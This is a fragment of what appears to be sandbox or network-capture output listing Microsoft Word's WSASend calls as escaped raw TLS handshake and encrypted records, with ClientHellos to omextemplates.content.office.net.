                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04v\\x16w\\xf3\\x19\\x82\\x06\\x1dh\\xccl\\xee\\xa6\\x8f\\xa1o\\x930\\x04\\x86\\x84\\x1fi\\x9e\\x15 \\xe2\\xc7^\\x9am\\xa1u\\xb4\\x95\\x17\\x03\\xe5\\x04s/\\x1a^\\xd9\\x19\\xc1h0:\\xdd*\\xd1\\xaeb\\xb7h\\xa5\\x18\\xd77\\xea5\\xbc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfa%\\xabnh\\xa0\\xbb\\xa0\\xb6\n\\x08\\x0e\\\\xb0\\xcd\\xf9\\xff\\x9b\\xddr\\xe8\\xaet\\xa4\\xe1n|oijy|\\xb2g\\x0b\\xe0wo\\xf1\\x1a\\x9f\\x0b\\xa6\\xb6u\\xb6\\x90\\x9a"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcfyy\\x8f\\x16f\\xc1~\\xf8\\xed\\x95\\xc3i\\xd8\\xef\\x1a\\x05\\xf3\\xb7\\x99\\xf1\"\\x12c\\x0co.\\x95ro\\x0e\\xd9se|\\x15\\x11\\xf0\\x86\\xb6\\xc7\\x1c\\x99^h\\x00g\\x927\\x15bp\\x88vz\\x17b\\xc1\\x11\\x9ff\\xc3\\xe6<\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0000x\\xcd5~\\xb0qq,\\xf6\\x0bb\\xa9o\\xfe\\x8bonlij\\xf2\\x93/\\x0bo\\xdd\\xcc\\x1a\\xb9\\x15\\xe1\\xbag\\xc4s\\x04t\\xc2\\x81\\xffsa\\x86\\xb6j\\x95\\xbb"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0b\\xe4~*\\x82\\xac\\xfd\\x9a,mf',\\x19\\x9b9\\xa4\\x18\\xc8z\\xbd\\xd5*\\x1f\\xce2\\x84\\xbb\\xb5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04|>t\\x1b\\x14\\xba\\xee(yj-%\\xa0h=`\n\\xaa61\\xbb\\x96\\xbba\\xcav\\x121$\\xd4&'/\\x82m\\xe7ux.b\\x1f\\x08n\\x86\\xb6\\x1e\\xc2\\xbaw\\x15\\x83_\\x86\\xb2\\x8d\\xdas29\\x15\\xa6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x996\\xb2\\x0epv\\x9d\\xb1\\xc3\\xf54\\x8a\\xda\\xde;\\x95*aoz#f\\x0b;\t\\xd9v\\xca\\xa8,\\xf3\\xb6s\\xdd\\xfc\\xe1\\x04\\x9b)\\xb4up\\x18\\x11\\xba\t\\xf8"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe4>7j\\xb9\\x01\\x0bs\\x83\\x08\\x82\\xdb4n\\xc9\\xd0q\\xf9j\\x1fr\\xe9\\xcf\\xfb\\xfd\\xb6\\x94r\\xe2\\xdf0\\xed\\xad\\xd1\\x0f\\x10\\xec\\x80\\xa2.\\x8c\\xfb\\xac*u\\x90j\\x1b\\xa0\\x11\\xc7\\xd8x\\x8e\\x1a\\xd2\\xaf\\xa3\\xe0,\\x88\\xdd\\x8ej\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p\\xdb\\xc0~\\xe9\\x97\\x03d\\xe9\\xa2eu\\xdc\\x04\r\r\t\\xb9o\\xbe\\xe2\\x0ep\\xcd\\x91(k\\xae\\x13\\x91\\xcen(\\x8c\\x8d\\x14\\xbbe\\x93\\xe2\\x88\\xc6\\x89\\xcc\\xc2\\x92\\x89"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0b\\x1c\\xec\\xfes:j\\x02\\xe0#4^\\xfb\\xc4\\x8f\\xc9\\xdc\\x08\\xfe\\xc4\\xd3!)\\xd93yw\\xbf\\xc6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04v\\x8fw\\xc0\\x86\\xee\\x8d9\\x84.\\x19\\x18\\x17'7u\\xa8\\xd4n\\xa0\\xbbl9z0\\xb6s+\\xd1q\\x0c\\xe26\\xae\\xcc\\xde\\xb0\\xbcz\\xf0\\x16\\xc3u\\xf0/\\x96\\xb9\\x8fi\\x12\\xfby\t\\xda;\\x8ai\\x95\\xb0\\xedh\\x7f\\xd4\\xe9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\n4\\xbe\\xed\\xc9\\xa1\\xe5'\\xda\\x85\\xc8\\xdd\\xe9d\\xba8o\\xd2\\x1f\\xdf\\x814\\xd1\\xfa\\xacq?&\\x10\\x96\\x07\\xd7&\\x1e\\xe5h\\xc3\\xc7\\xf1!\\xab\\xcag\\x8a\\xeb0\\x0b"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfe\\x19\\x88\\xf3\\xa3\\xd7|*!h\\xd2w\\x9c\\xe6\\xe1\tum4\\xc3\\x0c\\xbc\\xea\\xf685\\x11\\x14<z2\\xcc\\x7fzem\\xa1\\xac\\xfe\\x16\\xf2w\\x1e\\x95~\\xfb\\xb6h\\xa4\\$z8\n\\xcbr\\xce\\xa7\\xe4\\xd5n\\xd9\\xd5k\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd5\\x1d\\xd1\\xbe|\n\\xd4\\xea4\\xfat\\x82\\x13l\\x85\\xbb\\\\xf5\\xdc\\xaa:\\xee\\x90\\xea\\xcd\\xa1c\\x0f\\x93fg|lz\\xac\\xc6'\\xf0.\\xa3\\xf2\\xace\\xc5\\xf7\\xe40\\"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04i\\x18\\x1e?k\\x16\\xa5\\xa8\\xad-\\xc4\\x1b!\\x85\\xe3\\x83\\x01\\x1b\\xdbf\\x1c\\xbc\\xeb\\xcb,p'zyq\\xeei\\x90@i\\x1dhs\\x82k4\\xab\\x8e\\xd8o$\\xb6\\xa6\\x91.g\\xf2rz'\\xc8\\p\\x92\\xa2\\x98\\xf4\\xb03\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000c\\x1f\\xacg\\xb3c\\xfb\\xaa\\x12\\xb4\\xa2j\\xe8\\xb4\\x10\\xe8\t\\x88\\xc2dqp\\x1axfr\\xe0\\xf5ud\\xfd\n\\x11\\xde\\x90m\\xc5\\xfe\\xee\\xc9k/1\\xfc\\x1d\\xc2b\\xe6"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0b\\xc1&;\\x93\\xfa\\xab\\xe9\\xc0\\x01\\xf5\\x93\\x88u<<\\xf1\\xb5\\xc0?\\x06?<\\xdc\\x1d\\x8a\\xaa\\xd3\\xf4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa3\\xd5\\xf2c\\xbc\\x0c \\xd2m\\x00i\\x81\\x0ex\\x1f4\\x89\\xb0c\\x8e\\xd2\\xe9x\\x89u\\xa3\\xdb\\\\xd7q\\xbf\\xeb\\x12x\\xd5+\\xd17\\xe6\\xa6s1jp\\x06\\xbb\\xd2\\xb6\\x9bi\\x19i\\xf1d\\xea\\xabq\\xe2\\xa1\\xc4x\\xcde\\xa3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000z\\xa0\\xcb\\x98\\x05b\\x15bn\\xf4|\\xb5\\x02\\x94\\x08\\xdd\\xefg\"q\\x17\\xda\\xd7\\x14xtg?\\xaea8eh\\xeb\\xa5\\x13\\xae\\xb4\\xab\\xcc\\xf1\\xa4\\x8f\\x91\\xca8t"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0b\\xd6,p\\x9c\\x8egs\\x12kqz\\x05\\xb7\\xda1\\xb9\\x89%\\x1a\\xf8(b(\\xb1n\\xd9m2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0bf4\\xb7\\x00\\xb4\\xa0g5\\xa1\\x04e\\xdcn\\xdf\\xcbn\\xe4\\x9f\\xec\\x8d\\x7f\\\\x9d\\xbbpay\\xa1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0bcj\\xb9\\xd3*l\\xe3\\x16g\\xea<)\\x04\\xb9\\xb0\\xf2\\xfd\\xe3\\xfe\\xbe\\x082\\x02\\x99h\\xf9\\xb1l\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0bv\\x80\\xef\\x04p-zr\\xcc\\xd9\\xdf\\x81f\\xea\\xc6\\xcf\\x05\\x11\\xba8z:',\\xbb\\xac\\xf0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0b\\xb4\\x1c\\x06fa\\xd1\\xd6\\x93i7\\xc0\\x96dc\\x12\\x16\\xbc\\xb5\\x95\\xd2\\xf6v\\xc75\\xb2n\\xf8\\x1c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0bh\\x9f\\xab\\xd8x\\xd2\\xd2\\x8a\\x02\\x0b3\\xcc\\xb3\\x01\\xcer\\x02\\x99uz;\\x84\\xf9c\\xcf\\x98\\x19\\xb5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0b4\\xe6i\\xef\\x9d\\x04\\xd1e\\x1a\\xb3\\xae:w\\xd7\\x00\\x12>\\x144\\x1a\\x85`\\x1c.\\xb0\\x8ez5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04f\\x80jh\\xba\\x9d\\x07\\xf0\\xa5\\xa1\\xe6\\xc1\\x17\\xe7$\\xe7\\xf8\\xf1\\xeb\\xab|\\x1c\\xa9\\xa1\\xbe\\xea\\xbc\\xdf\\xe3\\x10\\xc8\\x1c\\xee\\x11o`\\x13\\x07\\xae\\x90\\x89d\\x89\\xcdo\\xfb\\x91\\x96\\xf5\\x1e\\x06ob\\xa7\\xe9\\xe9\\x12\\xca\\x01\\xdew\n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb3w\\x18\\xaa\\xb8\\xc7\\xb2c\\xdb\\xfdl'\\x11\\x86\\xea\\xfd\\xe24o@su\\xebs*\\x1bge\\x9b\\xcfj\\xb8<\\x81,d\r\\x1a\\xcb\\xf1\r\\xa6a\\x9b\\xd7\\x84=\\xb3"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0b\"\\x14\\xc9q\\xb7\\xb1\\xb2\\xeban2 \\x86\\xcav\\x95\\xea \\xbd\\xeb\\xe1=\\xe5\\xe5\\x18nb\\x91\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0b\\xb3\\xb9\\x1e\\x0f\\x96\\x07\\xb9\\xa9\\xc0\\xfd\\xc2\\x00\\x99\\x00\\x1df\\xe5i\\x17oh:^\\x90fl\\x89\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04`\\xf6\\x0c\\xd9\\xf2%\\xd7_\\xb7\\x1c\\x11\\xf0\\x05c\\xf3\\x1e6p\\x95shhco\\x86-?\\xa2\\x0c\\xf2\n\\x99\\x89\r\\xe6\\xe6\\x9c\\x10v\\x1c\\x95\\x116@\\xd6\n\\x03\\xb5y\\xa5\\x92,\\x99\\x01\\x99\\xb9\\xd0z\\xd2\\xb0\\xb3ct\\xb2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x93\\xc2\\x9e\\xf3\\xa63\\xde\\xf7\\xc0c\\xdep\\x01\\x90\\xc2\\xba\\xb2\\x95r\\x02\\x08\\x9fxqk\\x811\\xbf\\x9e\\xe6x \\xc9k\\xf62\\xfb\\xbd\\xc6\\xe9\\xbb\\x83\\x83j\\xc4\\x90"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04=\\xec\\x0c\\x96\\x82dq\\xe0ub\\xa1g\\x0e\\x94\\xb0\\xc56x\nq\\x1fd\\xcbe\\x92o\\x16t\\xe2\\x83\\x99id\\x89\\x16\\x880\\x84\\xd3z|\\xf0\\xd1k\\xcf\\xe9\\xf5\\xea\\xdc\\x88p\\xb0,\t.\\xda_:\\\\xaf9\\xa5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xed\\x7fm\\x04\\x99\\x84\\x0f\\x1dj\\x90<\\xe8\\xbc\\xc2\\xe3\\x12\\xa0\\xa3$7\\x19;\\x95\\xa6\\xf0\\xa1c:\\xe0\\x88t\\x91\\xca\\xa3\\x8cun9\\xf0\\xb1fs\\xdfu\\x16\\x0f"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010n\\xbf\\x0f>\\xcf\\xdfc kl\\xec\\xb0\\x0f\\x00bq\\x8e\\xf4\\x05\\xf3\\x83qs1\\xd8o\\x13\nt\\x9e\\x90\\x8e\\xb6\\x8co\\xb8\\xce0f\\xc8\\x1d\\xa7\\x92\\xd3\\x9den\\x9f\\x9au\\xa9`6\\xc3x:=j\\xbeg\\x06&\\xebe\\xday\\x11\\x10\\xc7\\xdc\t\tp?\\xd54\\x1fw\\x986\\xe9\\x82\\xb6\\x0c\\xc9\\xee\\x1f\\xeb\\x9fco\\xd9\\x1f/\\x8e\\xa4\\xf0ffr\\x11\\xfeh\\xdb`\\xa8&\\xb9\\xdc\\xef\\xbf\\xc7.e\\x85\\xd6\\xe6\\xb8?\\xce\\xa7\\xb6\\x80\\x81\\xe2\\xaa\\xf3\\xa6\\xb2a68x\\xf6\\xa7\\x05!\\xfa\\x04\\xb1w\\xdc\\xb6\\x9bx7\\x95\\xee\\xbd\\xf6\\x1ba7\\x9b\\x1a\n0p\\x07\\xc3\\xd9\\xf0\\xa2\\xf6\\x14'\\xf1\\xa0\\xf4\\xc3ws\\x89\\x81_\\x07\\xd6\\xf3\\xfavn\\xd9\\xaf\\xa1+t\\xf4\\xbew\\xe3\\xdb\\xed&\\x8b\\x80\\x06^\\xdc\r\\xba\\xbd\\xc3\\xec\\xd2f\\x98m\\xf5\\xfe\\x0esn\\xcb(%e~\\xda;\\xab_\\xb1\\x01\\x1a\\xf4\\xca\\xe7\\xbd\\x86a\\xd4\\x17x\\xe4^\\xca;l\\x92\\xbc#r\\xd1\\xa7"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0b\\xb8\\xf1\\xbd\\x14\\x08p\\xab\\xf8o\\xb7qu\\xfc\\x98j9\\xfb\\x81\\x18 \\xf4\\xcfa\\x8a\\x01\\xe1sg\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa6\\xc3\\xa0\\xeb\\xd8\\x83\\x92\\xf6\\xd4\\xf6djl\\xb4\\xe41\\xdb3&\\x96\\x87x\\x8dz\\xc8xg\\x14\\x83\\xbd\\x85\\x87\\xb5\\xae\\xbb\\xaa\\xf0\\xcd\\x08\\xde/\\\\x89\\xb6p_\\x1e\\x11\\x87g\\xc3\\x04\\x8es\\x0bz\\xfa|\\xf9\\xa2p\\x8b\\xad?\\x0cu\\xf9\\xf3\\x19f\\x0c\\x18hn3\\xcd\\x13\\xffi$\\xf2r\\xf3.9hi\\xbb\\xe0\\x15\\x14\\x80\n%^a\\x1ej\\x8b(2\\x04\\x80\n\\x86\\x1f\\xb5\\x13-\\x80ab\\x19h\\xec\\xc1\\x90\\x0ffi\\x7f\\xed\\xa0v\r\\x06$ow\\xfd:\t3\\xb18f52\\x80\\xf0\\xd4\\xa8\\xfc&\\x9fe\\x0ett?hw\\x11;-\\xb3\\x82\\xf1\\x15$l\\xe1\\x8d0\\x9f\\xfb-k*z\\xec\\x81\\x0bro\\x857\\xbcy?\\x90\\xcf\\x11\\xcb\\x0b\\x87q\"wr\\xf1\\xa47\\xf0\\x0f\\x8fl\\x16u\\xb1@\\x94?m\\xdf\\x0b\\xf6\\xa9\\x94y\\x9c\\xcf\\x18\\xf0\\x826\\xfb\\x8d;\\x0byi\\x96\\xf8\\x17h\\xfe>a\\x1d+kh\\xd3-iyr\\xc8\\xf1\\x1d\\x14v\\xfc\t\\x94\\xb0"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9d\\xd4\\x08j-9\\xb9\\xab\\x83\\x8b\\xd4c2\\x12\\xde\\xfe\\xe7\\xc8\\x8d\\x97\r\\xeb\\xda)k\\x7f\\xc5\\xeeu\\x85s\\x19b\\xe5b\\xf1\\xaer\\xce\\x13\\x8b\\xa7r1,iz\\xe3\\xf6\\x1c\\xe0\\xd6\\xfbe\\xaf\\xaf:\\xe8^\\xad_9\\xdd\\xa9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc3b\\xe4~\\x91\\x9e\\xc6\\x16\\xaa\\xf230c\\x11c\\xd4\\x11\\xd2\\xe2m\\x86**\\xd0n,,\\xb6\\xbfk\\xeb\\xa20\\xe5\\xcf\\xa1\\xdc\\xf1\\xda\\x9c=\\x7fpo\\xd6n\\x11\\xb1"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe8\\xf86i\\xb3\\x11\\xfc\\x0fdkv\\xbdxq\\x04\\x9a^\\x01\\x0f\\xaf\\x12\\xcf\\x07l\\xea$\\xca.\\xe8\\xae\\xaenf\\x8e\\xc3\\xa3\\xdcf\\xb0\\x9dsbdtr\\x18\\xf9\\xe4\\xee\\xaf\\x99\\xd3_\\x157&o'h\\xa6lf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000n)\\xef\\x13\\x0ex\\xb2\\x02\\xbe\t9\\xf0\\x02`\\xd0\\xdcq8\\xaf#\\xce\\x8d\\xb5g\\x07\\x8f\\x14\\x9b8sk\\x0cj\\x1d3l\\xd8a\\xc9\\xc5\\xdf\\xc44\\x11\\x8e\\xb1e\\xf1"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010;s3\\xfa\\xa7\\xf5\\x8f\\xc2\\x89\\xcd\r|o?,\\x1f\\x136=\\xdcos\\x97\\x1d@#\\xfc\\xab\\xde4gq\\xf1s\\xc6\\x0e\\xfc3\\x97\\xd6\\x163\\xb3\\xbb\\xff\\xbf\\xe8\\x8c\\xc3z\\x19\\xf2\\x08z?\\xc1\\xb3\\x07\\xaa\\x8c\\xa6k\\xa0\\%4\\xa5&cd\\x9b\\x0b\\x1b\\x90 \\x80;\\xdd\\xf8\\xee\\x03\\xac\\x0b\\x1d\\xd9\\xfe2q\\x04b\t\\xa5\\xd8\\x11\\x8e\\x15\\xef3\\xf6 \\x0c\\x0e\\xf4w\\xd4\\xdf\\x87\ng\\x1f\\xa0\\xb9y!\\x15_\\xe1\\xba\\xbc\\xbb\\\\xf9\\xd3t\\xb9\\x8at\\x1a\\xa9\\x03~\\xf4q\\xb4y\\xdb\\xd3\\x12hz7\\xf6\\xbf\\xcf\\xae\\xae\\xd6\\x9d\\xe0\\xd0c\\xdaw\\xe1r\\xb2\\x89\\xaf\\x97\\xff\\x85+i\\xbc\\x82.\\xfe\\k\\x84\\xe1\\x070\\xcb#\\x10\\xb8\\x86\\xf4\\xd84o&\\xd8d\\xa5\\x01\\x10\\xdd\\xac\\xe5\\xaf\\xf7\\x80\\xe8\\xf3\\x92`\\xcb\\xc3\\x9b\\xba\\xdf.\\xd0\\x00\\x1f\\x83\\x85\\x82\\x00p\\xa4\\xb0/\\xfcd\\xb5\\x8f\\x1c tt\n:\\x8b\\x9b\\xe3\"\\xbb-\\xca~^\\x94\\xa5v\\xce0\\xff\\xbb\\xd3\\xe1\\x99\\xed#>$\\x08"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xaf\\xda\\x90\\xc2\\xa3\\xd8\\x1f:n\\xec\\xf1\\xd5\\x86a\\x85\\xcc5\\xe4e\\xae\\xc1'\\x83^\\xce\\x03l\\xb6\\xf8\\xf0v\\x03\\x9cx\\xcam\\xa8\\xab\\x7f/\\x90\\xf5c\\x81\\x0f0\\x16a\\xa3m#\\xa4\\x96pr\\xe7\\x1e\\x07\\xf7\\xebd\\x06dx\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd2\\xfe\\xfcr=\\xe7\\x81\\xa2`\\xbfa\\x95\\xcbe+/\\xcd.\\xb4\\x92\\x04gt\\x1d?\\xac\\xa0v\\x01\\x0f\\x8f\\x8a\\x80\\xa1\\xd3d\\xab56\\xd8\\x92v\\x03\\xb0\\xe9wo"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x94cj\\x1c\\xe7j\\xb4\\xacw\\xb0\\xc3\\xdf\\xd94\\xe3\\xf9t0\r\\xffp0\\xa502\\xbc\\xaa\\x14\\x04\\xeb\\xd0\\x8fgt\ne\nbo\\x83\\xde\\xca\\xe1\\xfe\\x1e\\xbd\\x91w\\xe4\\x903+\\xa5\\xde\\x0bp\\x97\\xf1\\xee\\xcbr\\x8c\\xac\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x87\\x9a\\x05\\xb3\\x8c\\x03\\xe5\\xeel\\xc3\\x9edg\\xe3\\xcf\\x99\\xfa\\xecp\\xc8\\xc1\\xd5\\xec\\xb9a\\xb3u\\xae\\xa7\\x17\\x12\\xe1a\\x84jnx\\x1bmy\\xf8\\x89b\\x00\\x1b#\\xfe"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04(\\xf6i\\xf8;\\xfb\\x0e\\xa2\\x95r~\\xebw\\xe5g\\xefs\\xe2\\xb2\\x8e\\x0cf\\xbf\\xd0ot\\x82\\xa9\\xee=x\\xdas\\x9b\\xb5>$y\\x925\\x04\\x99\\xd2<\\x02\\x13\\xb3\\xd8\\xa2\\xebj1\\xaf\\x88\\xecs\\x0b\\xad\\x00|vs>r\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0009\\xf8\\xb7\\xfe\\xdby\\x8e\\x18\\xa4\\x9fep\\xa1'\\x9c\\x8b\\xaf\\x00o>\\xf3w\\x13;\\xfbb\\x0f\\xa9:\\xa9m\\xb9\\xa2 i\\x84\\x1b|\\x93\\xb8f\\xb6\\x0f\\xac\\xcf2\\xba\\x0b"


